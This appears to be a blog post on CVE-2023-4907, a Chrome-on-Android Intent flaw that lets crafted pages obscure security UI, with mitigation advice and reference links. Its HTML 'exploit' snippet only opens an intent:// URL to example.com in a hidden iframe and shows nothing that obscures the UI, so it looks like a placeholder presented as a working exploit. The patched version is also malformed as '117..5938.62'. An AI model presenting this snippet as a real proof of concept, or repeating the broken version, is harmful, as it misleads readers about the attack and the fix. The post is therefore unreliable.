In today's constantly evolving technological landscape, ensuring the security of applications and systems has become more important than ever. One such application that millions of users rely on daily is Google Chrome, particularly on Android devices. While the Chrome team is vigilant in discovering and patching potential vulnerabilities, some issues may still go unnoticed.

In this long-read post, we explore CVE-2023-4907, a vulnerability in Google Chrome on Android devices, which allowed remote attackers to obfuscate security UI using a crafted HTML page. We will discuss how this vulnerability affected users, offer a code snippet showcasing the exploit, provide links to original references, and cover the details of the exploit itself.

Understanding CVE-2023-4907

CVE-2023-4907 affects Google Chrome on Android devices running versions prior to 117..5938.62. This vulnerability stems from an inappropriate implementation of Intents, which are the messaging objects used by Android applications to request actions from other components within the system.

The incorrect implementation allowed a remote attacker to craft an HTML page that obfuscates security UI within Google Chrome. This ultimately made it easier for malicious users to create phishing attacks and deceive users into providing sensitive information or unwittingly downloading malware.

Code Snippet

Below is an example of a code snippet that demonstrates the exploit. This should only be used for educational purposes.

<!DOCTYPE html>
<html>
<head>
  <title>CVE-2023-4907 Exploit Example</title>
  <script>
    function exploit() {
      var intentUrl = "intent://example.com/#Intent;scheme=https;action=android.intent.action.VIEW;end";
      var iframe = document.createElement('iframe');
      iframe.style.display = "none";
      document.body.appendChild(iframe);
      iframe.src = intentUrl;
    }
  </script>
</head>
<body>
  <h1>Click the button to demonstrate CVE-2023-4907 exploit</h1>
  <button onclick="exploit()">Exploit CVE-2023-4907</button>
</body>
</html>

Original References

For a comprehensive understanding of CVE-2023-4907, the following resources offer detailed explanations, background information, and updates:

1. The Chromium Project: https://www.chromium.org/Home (Chromium is the open-source project behind Google Chrome)
2. MITRE's official CVE page: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4907
3. National Vulnerability Database entry: https://nvd.nist.gov/vuln/detail/CVE-2023-4907

Exploit Details

The severity of CVE-2023-4907 has been rated as low by Chromium security, but it still poses risks to users on unpatched versions of Google Chrome on Android devices. Attackers can exploit this vulnerability by crafting a malicious HTML page that injects a hidden iframe with a specially crafted Intent URL, thereby obfuscating security UI elements in Google Chrome. This could potentially trick users into trusting malicious pages, resulting in data theft or malware infection.

Mitigation

CVE-2023-4907 was patched in Google Chrome version 117..5938.62, so users should ensure their devices are running this version or later to avoid the risk of exploitation.

In addition to updating to the latest version of Google Chrome, users should pay close attention to the websites they visit and avoid clicking on suspicious links. Always verify the legitimacy of a website before inputting sensitive information.

Conclusion

CVE-2023-4907 serves as a reminder that even widely-used applications like Google Chrome on Android can host vulnerabilities. Users should always update their software to the latest version and stay informed about security risks to protect themselves from potential attacks.

Timeline

Published on: 09/12/2023 21:15:08 UTC
Last modified on: 10/17/2023 20:02:45 UTC